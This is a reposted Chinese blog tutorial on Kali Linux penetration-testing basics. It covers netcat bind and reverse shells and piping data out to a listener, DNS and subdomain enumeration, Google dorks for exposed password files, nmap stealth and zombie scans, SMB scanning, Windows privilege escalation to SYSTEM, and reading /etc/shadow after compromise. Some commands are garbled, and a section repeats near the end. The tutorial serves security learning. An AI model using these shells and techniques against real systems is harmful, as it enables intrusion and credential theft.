0


【渗透测试】kali使用教程(一):常用命令和基本工具使用

导读:

一年前的学习渗透测试所记录的内容,kali作为一个强大的工具,值得安全入门人员学习。

常用命令

  • netstat -pantu :查看本机与外界的TCP/UDP连接
  • sudo passwd root:为root设置密码

常用工具

NC-NETCAT

nc是一款远程传输,控制工具。使用nc -h 命令查看参数描述

image-20200608153428232

NC——获取Banner信息
nc -nv x.x.x.x port  nc作为客户端连接对方服务器
说明:
    -v 显示详细信息
    -n 后面添加ip地址,不会进行DNS解析

测试:

首先使用ping + 域名 获取ip地址

image-20200608105457977

由于pop3的端口为110,直接用nc -nv命令连接

image-20200608110108800

NC——传输文本(Telnet)
A:nc -l -p port 监听端port端口
B:nc -nv x.x.x.x port 发送端,x.x.x.x为监听端ip

用途:电子取证、信息收集

示例:我们希望将远程服务端的文件目录发送到本机,并且不显示远程主机上,可以使用如下命令:

远程服务器:ls -l | nc -nv x.x.x.x port -q 1 这里-q 1表示发送完成后等待1s时间就退出nc

接收端:nc -l -p port > log.txt 监听并将信息保存在log.txt文件中大萨达
NC——传输文件/目录
传输文件: 
    从B-->A
    A: nc -lp port > video.mp4
    B: nc -nv x.x.x.x port < video.mp4 -q 1<符号表示传入数据,>符号表示保存数据
    
    也可以从A-->B
    A: nc -lp port < video.mp4 -q 1 
    B: nc -nv x.x.x.x port > video.mp4 

传输目录:
    原理类似,只不过需要在传输过程对目录打包和解压
    A:tar -cvf - /music |nc -l -p port -q 1
    B:nc -nv x.x.x.x port |tar -xvf -
NC——端口扫描(不太准确,不常用)
nc -nvz x.x.x.x 1-65535 探测所有tcp端口
nc -nvzu x.x.x.x 1-1024    探测udp端口
NC——远程控制
正向控制:
    A:nc -lp port -c bash A提供bash
    B:nc x.x.x.x port B使用bash
    
反向控制: 
    A:nc -lp port A使用bash
    B:nc x.x.x.x port -c bash B提供bash
    
思考:在渗透测试中,正向控制一般是会被防火墙拦截的,所以可以尝试反向控制,让服务端连接自己暴露的端口

注意:Windwos平台将bash改成cmd
总结

NC缺乏加密和身份验证的能力,不安全。可以使用NCAT来弥补NC的不足, 因为它是支持SSL加密,NCAT包含于nmap中

Wireshark

Wireshark是一款抓包嗅探、协议分析的工具。

使用wireshark抓包
这里以抓取本机网卡数据包为例。首先打开终端,尝试ping百度

ping www.baidu.com

同时打开wireshark,选则虚拟机网卡eth0,再启动抓包

image-20200608163108785

这里可以保存抓包数据文件,建议保存为pcap格式,兼容性较好。

过滤器

wireshark可以针对ip、域名、协议进行过滤,支持组合表达式,称为过滤器。如下图中,可以选则当前协议行作为过滤器应用。

image-20200608165600432

常见协议包
wireshark默认通过端口来识别协议类型,如80端口识别为http,如有必要需要手动指定协议类型

数据包协议如下:ARP、ICMP、TCP、UDP、DNS、http、ftp

TCP数据流:HTTP、SMTP、POP3、SSL/TLS(加密传输,无法查看内容)
统计分析
follow tcp stream:查看传输内容

Endpoints:查看每种协议具体的ip、包大小、发送数量。

协议分级:查看当前帧下的所有协议流量所占百分比。

分组长度:查看不同大小包所占百分比。小包过多会导致瘫痪,可能是攻击行为。

Conversitions:查看所有会话之间的通信情况。

专家系统:针对连接提供一些建议或提示
总结

wireshark 不适用于抓取大量报,因此企业使用一般会使用类似于

Sniffer、Cace、Cascad poit等。

信息收集

DNS信息收集——NSLOOKUP

使用nslookup查看域名解析过程和对应ip

tosang@kali:~/桌面$ nslookup> www.baidu.com
Server:         114.114.114.114
Address:        114.114.114.114#53

Non-authoritative answer:
www.baidu.com   canonical name = www.a.shifen.com.
Name:   www.a.shifen.com
Address: 61.135.169.125
Name:   www.a.shifen.com
Address: 61.135.169.121

DNS信息收集——DIG(更强大)

image-20200609102507339

根据自定义域名服务器查询:dig @8.8.8.8 www.sina.com mx

正向查询:dig www.sina.com any 

反向查询(使用ptr反向解析): dig +noall +answer -x 8.8.8.8
        其中+noall +answer表示省略无用信息

bind版本信息: dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com 
            通过查询bind版本信息可以分析是否存在漏掉可以利用

DNS追踪: dig +trace example.com

抓包比较递归查询、迭代查询过程的区别

DNS追踪示例:图中是13个根域名服务器(root域)

image-20200609105201886

接着查询.com域名服务器地址(com域)

image-20200609105435329

然后从这些.com域名中随机挑选一个ip去查询baidu.com域的ns记录

image-20200609111657846

最后从ns记录中随机挑选一个去查询www.baidu.com记录得到cname结果,解析cname可以从百度的域名服务器(ns)得到最终ip地址

image-20200609111723401

DNS区域传输(Zone Transfer)

区域传输是指域名服务器之间同步数据的过程,通过区域传输可以获得某一个域里面的所有主机记录

以下命令可以尝试去连接域名服务器,但一般会被拒绝
dig @ns1.example.com example.com axfr
host -T -l sina.com8.8.8.8

DNS爆破

fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt 
    fierce自带字典host.txt,可以通过命令 查看

dnsdict6 -d4 -t 16 -x sina.com 
    默认集成多种字典,命中率高,执行速度快,最常用

dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -0 sina.xml

dnsmap sina.com -W dns.txt

dnsrecon -d sina.com -lifetime 10 -t brt -D dnsbig.txt

dnsrecon -t std -d sina.com

DNS注册信息

说明:一般大型互联网企业域名都做了反查询,所以会查不到

Whois 

whois -h whois.apnic.net 192.0.43.10

搜索引擎

SHODAN:使用前需要到shodan官网注册一个账号,并获取自己的API Key

搜索联网的设备
Banner: http、 ftp、 ssh、 telnet
https://www.shodanio/
常见filter:
    net (192. 168.20.1)
    city
    country (CN、US)
    port (80、 21、22、23)
    OS
    Hostname (主机或域名)
    server
    
示例:搜索中国地区端的81端口ip
port:81 country:CN HTTP/1.1 200

使用示例:首先通过nc获取某个域名的ip,这里以gscaep.ac.cn为例

image-20200609161551929

使用shodan来搜索该ip的所有信息

image-20200609161728440

这一刀这里暴露了使用的数据库版本及其端口信息,可以尝试用nc去连接

image-20200609162101517

GOOGLE搜索方法

+充值 -支付  +代表含有,-代表排除

北京的电子商务公司—— 北京 intitle:电子商务 intext:法人 intext:电话

阿里网站上的北京公司联系人——北京 site:alibaba.com inurl:contact

塞班司法案的PDF文档——SOX filetype:pdf

法国的支付相关页面——payment site:fr

一些常用实例:
inurt:"level/15/exec/-/show"
intille: "netbotz appliance""ok"
inurl /admin/login.php
inurt:qq.txt
filetype:xls "username| password"
inud:ftp "password" filetype:xls site:baidu.com
Inurd:Service.pwd
http://exploit.db.com/google-dorks

搜索工具

theHarvester 可以使用google、bing等搜索引擎搜索文域名、邮件,需要翻墙

Maltego 图形化展示搜索工具,kali十大工具之一

文件信息——METADATA(元数据)

exiftool xx.jpg  查看图片Exif图片信息

Foca windows平台软件

RECON-NG

RECON-NG是一个全特性的,基于Python的web侦探框架。输入help查看所有命令含义

image-20200609191006019

常用命令:

recon-ng sina   建立名为sina的工作区
keys add baidu_api api 为baidu_api添加api
keys remove xxx 移除某个api
keys list 查看所有api

安装模块:
marketplace refresh # 更新模块列表
marketplace search hackertarget # 搜索 hackertarget 模块,可以发现支持模糊搜索
marketplace install recon/domains-hosts/hackertarget # 复制模块名,安装

使用模块:
modules load recon/domains-hosts/hackertarget # 加载模块
info # 查看模块的描述信息及参数。这里发现该模块是用来搜索主机名。help# 查看该模块下的使用命令,其中 options 用来修改模块的参数。(goptions 是全局参数,在非模块模式下才可修改。)
options set SOURCE rapid7.com # 设置 SOURCE 参数(用来探测 rapid7.com的主机)
run # 设置好参数后,直接运行。
show hosts # 在上述 hackertarget 的描述中发现,会把搜索记录 放到 hosts 表中,可以使用 show 命令查看。

主动信息收集

二层发现——arping

二层发现使用arp协议,在局域网下进行

arping 用于在局域网通过目标ip获取mac地址

arping 1.1.1.1 -c 1
arping 1.1.1.1 -d 发现同一ip下重复的mac
arping c1 1.1.1.1 |grep"bytes from"|cut d"-f5 | cut d"T"-f2 I cut -d"]"-f 1
脚本
    arping l.sh etho > addrs
    arping 2.sh addrs

场景:通过编写脚本,arping可以发现子网段的所有连接的ip及其mac地址

二层发现——nmap(常用)

nmap 1.1.1.1-254 -sn 扫描ping,但是不去扫描端口
        namp在扫描的时候会尝试对找到的ip进行反向查询dns获取其域名
nmap -iL iplist.txt sn

二层发现——Netdiscover

Netdiscover专用于二层发现,可用于无线和交换网络环境,主动和被动探测

主动探测:
netdiscover -i ethO T 1.1.1 .0/24
netdiscover -1 iplist.txt

被动:
(主动arp容易触发报警,伪装成局域网一部分,截取arp数据包分析)
netdiscover -P

二层发现——Scapy

Scapy
    作为Python库进行调用
    也可作为单独的工具使用
    抓包、分析、创建、修改、注入网络流量

apt-getinstall python-gnuplot

Scapy
    ARP().display()
    Sr1()
    
Python脚本
    Arpl.py
    Arp2.py

三层发现

优点:可路由、速度比较快
缺点:速度比二层慢、经常被边界防火墙过滤
协议:IP、ICMP协议。在广域网进行

说明:ttl值在linux系统性一般是64,每经过一跳路由自动减一

Ping 1.1.1.1 -c 2 
        -c指定发送几个请求
Ping-R 1.1.1.1 / traceroute1.1.1.1
ping1.1.1.1-C 1|grep"bytes from"|cut -d "" -f4 | cut-d":"-f 1

pmap -sn 1.1.1.1 -255
nmap -iL iplist.txt -sn

Hping
    能够发送几乎任意TCP/IP包
    功能强大但每次只能扫描一个目标
    
hping3 1.1.1.1 -icmp -C 2foraddrin$(seq1254);do hping3 1.1.1.$addr icmp C I >> handle.txt &done

四层发现

优点:可路由且结果可靠、不太可能被防火墙过滤、甚至可以发现所有端口都被过滤的主机
缺点:基于状态过滤的防火墙可能过滤扫描、全端口扫描速度慢
TCP:未经请求的ACK- RST、SYN-SYN/ACK、 RST
UDP:ICMP端口不可达、一去不复返

nmap 1.1.1.1-254 -PU53 -sn 使用udp发现
nmap 1.1.1.1-254 -PA80 -sn 使用TCP发现(ack包 )
nmap -iL iplist.txt -PA80 -sn

端口扫描:
Nmap
nmap -sU 1.1.1.1 默认的1000个参数
        ICMP host-unreachable说明端口关闭
        没有回应说明可能开启
nmap 1.1.1.1 -sU-p 53
nmap -iL iplist.txt -sU P 1-200

所有的TCP扫描都是基于三次握手的变化来判断目标端口的状态

隐蔽扫描:
    即每次不建立完整三次连接,只发生syn信息
    应用日志不记录扫描行为,较为隐蔽
    发送流程为:-->使用scapy发送Syn包给目标主机
              <--目标主机回复syn/ack包
              -->本机操作系统内核会识别到异常握手,发出RST请求
    屏蔽内核的RST请求:
    iptables -A OUTPUT -P tcp --tcp-flags RST RST -d 本地ip -j DROP

    Scapy命令:
sr1(IP(dst="192.168.60.3]/TCP(dport=80),timneout=l,verbose=1)
    
    nmap命令:
    nmap -sS 1.1.1.1 -p 8021,25.110.443
    nmap -sS 1.1.1.1 -P -65535 --open
    nmap -sS 1.1.1.1 -P  --open
    nmap -sS -iL iplist.txt -P 80

僵尸扫描
    极度隐蔽
    实施条件苛刻
    可伪造源地址
    选择僵尸机:闲置系统且系统使用递增的IPID,不能全是0
发现僵尸机: 
nmap -P 80192.168.1.133 --script=ipidseq.nse
扫描目标:
nmap 172.16.36.135 -sl 172.16.36.134 Pn p 0- 100

服务扫描

SNMP:
简单网络管理协议
Community strings
信息查询或重新配置
识别和绕过防火墙筛选

扫描banner:
nc -nv x.x.x.x

dmitry -p 172. 16.36.135
dmitry -pb 172.16.36.135

nmap -sI 1.1.1.1 -P 22 -script=banner 
nmap 域名/IP            (最强大)

SNMP扫描

用处不大,现在的服务器会限制特定ip访问snmp

snmp:
    信息的金矿
    经常被错误配置
    public / private / manager
MIB Tree:
    SNMP Management Information Base (MIB)
    树形的网络设备管理功能数据库
    1.3.6.1.4.1.77.1.2.25
onesixtyone 1.1.1.1 public
onesixtyone -C dict.txt -i hosts -o my.log -W 100
可读性强的工具:
snmpcheck -t 192. 168.20.199
snmpcheck -t 192. 168.20.199 -C private -V 2
snmpcheck -t 192. 168.20.199 -W

SMB扫描

Server Message Block

协议是微软历史上出现安全问题最多的协议,实现复杂,默认开放,文件共享

nmap -v -p 139,445192.168.60.1-20
nmap 192.168.60.4 -p 139,445 --script=smb-os- discovery.nse
nmap -v -P 139,445 --script=smb-check-vulns --script-args=unsafe=11.1.1.1
nbtscan -r 192. 168.60.0/24
enum4linux -a 192.168.60.10

waf识别

WEB应用防火墙
wafw00f -l
wafw00f http://www.microsoft.com
nmap www.microsoft.com --script=http-waf-detect.nse

弱点(漏洞)扫描

kali集成了漏洞利用工具,使用searchsploit,我们可以搜索软件当前存在的漏洞及其攻击代码。

image-20200611094925425

此外,NEXPOSE也是一款面向企业的强大的漏洞扫描工具,可以对web页面、操作系统进行登录扫描或黑盒扫描。NEXPOSE会将扫描到的漏洞按CVSS评级进行打分,并且可以生产报告。

提权

Admin提权为System

Windows system账号
官方工具:
    SysInternal suite
    https://technet.microsoft.com/en-us/sysinternals/bb545027
    psexec -i -S d taskmgr

xp系统下:
    at 19:39 /interactive cmd 该命令会定时启动一个system权限的cmd
                                (只能在xp系统使用)
通过服务方式:
    SC Create syscmd binPath="cmd /K start"type= own type= interact
    SC start syscmd
    
隐蔽注入:
    上面的几种方式会创建单独的进程,可能被发现,可以使用pinjector进行隐蔽注入,注入到某个system权限的进程中,然后通过nc可以远程shell

抓包嗅探

Windows:
    Wireshark
    Omnipeek
    commview
    Sniffpass
Linux:
    Tcpdump
    Wireshark
    Dsniff

基本信息收集

当我们获取到某个主机的root权限后,我们要尽可能收集其信息

Linux:
    /etc/resolv.conf   dns配置信息
    /etc/passwd   存放用户账户
    /etc/shadow       存放用户密码
    whoami, who -a
    ifconfig -a, iptables -L -n, netstat -rn
    uname -a, ps aux 查看操作系统信息,进程信息
    dpkg -l |head  查看安装的软件

m权限的cmd
(只能在xp系统使用)
通过服务方式:
SC Create syscmd binPath= “cmd /K start” type= own type= interact
SC start syscmd

隐蔽注入:
上面的几种方式会创建单独的进程,可能被发现,可以使用pinjector进行隐蔽注入,注入到某个system权限的进程中,然后通过nc可以远程shell


#### 抓包嗅探

Windows:
Wireshark
Omnipeek
commview
Sniffpass
Linux:
Tcpdump
Wireshark
Dsniff


#### 基本信息收集

> 当我们获取到某个主机的root权限后,我们要尽可能收集其信息

```shell
Linux:
    /etc/resolv.conf   dns配置信息
    /etc/passwd   存放用户账户
    /etc/shadow       存放用户密码
    whoami, who -a
    ifconfig -a, iptables -L -n, netstat -rn
    uname -a, ps aux 查看操作系统信息,进程信息
    dpkg -l | head  查看安装的软件

推荐1:简历制作神器

全民简历

说明:个人用过,帮我斩获各大厂offer,体验很不错,价格也比较良心,真心推荐一波。

推荐2:保姆级的Java教程和项目

趋势投资Spring Cloud项目

前端练手项目,模仿天猫前端

JAVA WEB J2EE 练手项目,模仿天猫整站

JAVA 桌面软件练手项目,一本糊涂账

JAVA 自学网站

JAVA 练习题

Hibernate 教程

Struts 教程

SSH整合教程

Mybatis 教程

Spring MVC 教程

标签: 安全 linux web安全

本文转载自: https://blog.csdn.net/u011871680/article/details/121696450
版权归原作者 进击的tosang 所有, 如有侵权,请联系我们删除。

“【渗透测试】kali使用教程(一):常用命令和基本工具使用”的评论:

还没有评论